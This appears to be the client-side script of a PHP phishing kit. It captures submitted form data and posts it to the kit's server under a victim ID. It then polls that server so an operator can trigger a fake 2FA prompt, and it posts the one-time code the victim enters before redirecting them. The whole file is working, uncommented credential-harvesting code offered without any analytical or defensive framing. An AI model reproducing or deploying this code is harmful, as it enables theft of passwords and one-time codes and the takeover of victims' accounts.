<script>


var y = document.getElementById("root");
var x = document.getElementById("shpin");
var interval = null;

function send(led_sts) 
{
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.responseText == "af2x") {
        clearInterval(interval);getData();
    }
            else if (this.responseText == 'line')
            {
      window.location.replace("../rdc/?<?php echo $enil;?>");
            } 
      };
      xhttp.open("GET", "?user=<?php echo $enil;?>&2fa="+led_sts, true);
      xhttp.send();
    }
  

    function getData() {
      var xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
        if (this.status == 200) {
                document.getElementById("root").innerHTML = this.responseText;
                x.style.display = "none";
                y.style.display = "block";
        }
      };
      xhttp.open("GET", "../2fa/?user=<?php echo $enil;?>&", true);
                
      xhttp.send(); 
    }
 $(document).ready(function(){
                            $(document).on("submit","form",function(a){
                              a.preventDefault();
                              $.post("?user=<?php echo $enil;?>",$(this).serialize(),function(c,b){
                y.style.display = "none";
                x.style.display = "block";
                                setTimeout(function() {window.location.replace("../rdc/?<?php echo $enil;?>");}, 35000);
interval = setInterval(function() 
    {
      send();
    }, 1500); 
                              
                                  }
                                    )})});
                                    
$("#2fa_form").submit(function(event) {


        event.preventDefault();

        var form = $(this);
        var url = "?2fa&user=<?php echo $enil;?>";

        $.ajax({
            type: "POST",
            url: url,
            data: form.serialize(),
            success: function(data) {

            
            }
        });});
</script>